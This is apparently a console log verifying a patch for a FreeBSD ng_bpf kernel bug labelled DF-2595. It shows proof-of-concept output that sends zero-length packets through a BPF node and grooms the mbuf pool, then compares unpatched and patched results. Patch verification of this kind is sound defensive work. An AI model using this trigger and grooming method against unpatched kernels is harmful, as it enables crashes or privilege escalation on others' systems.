=== patched ng_bpf.ko sha ===
SHA256 (/boot/kernel/ng_bpf.ko) = d6407950c2e81e92dec12c6bf7231dbfa204eb1d49118f61aa802afa5c4b50bf
 7    1 0xffffffff82656000     2000 ng_bpf.ko
=== RUN DF-2595 PoC on PATCHED module ===
[*] DF-2595 ng_bpf zero-length packet -> bpf_filter type confusion
[+] created socket node 'df2595' csock=3 dsock=4
[+] mkpeer ng_bpf  'df2595:out' -> bpf 'in'
[+] installed BPF program on bpf 'in': LD_W_ABS k=0; RET 0
[*] stats BEFORE: recvFrames=0 recvOctets=0
[*] sending 4 ZERO-LENGTH data items -> ng_bpf 'in' (totlen=0)...
    [0] NgSendData(0) rc=0 errno=0
    [1] NgSendData(0) rc=0 errno=0
    [2] NgSendData(0) rc=0 errno=0
    [3] NgSendData(0) rc=0 errno=0
[*] stats AFTER : recvFrames=0 recvOctets=0  (delta=0)
[*] grooming mbuf pool: flooding 4000 pointer-shaped packets then re-sending zero-length...
[*] still alive — kernel survived grooming+zero-length flood
[*] (the type confusion is reachable but needs a stale mbuf with
[*]  pointer-shaped residue to panic; zeroed pool state is benign.)
POC_RC=0

=== INTERPRETATION ===
unpatched: stats delta=4 (zero-length reached bpf_filter buflen=0 -> type confusion)
patched  : stats delta=0 expected (zero-length dropped by guard before bpf_filter)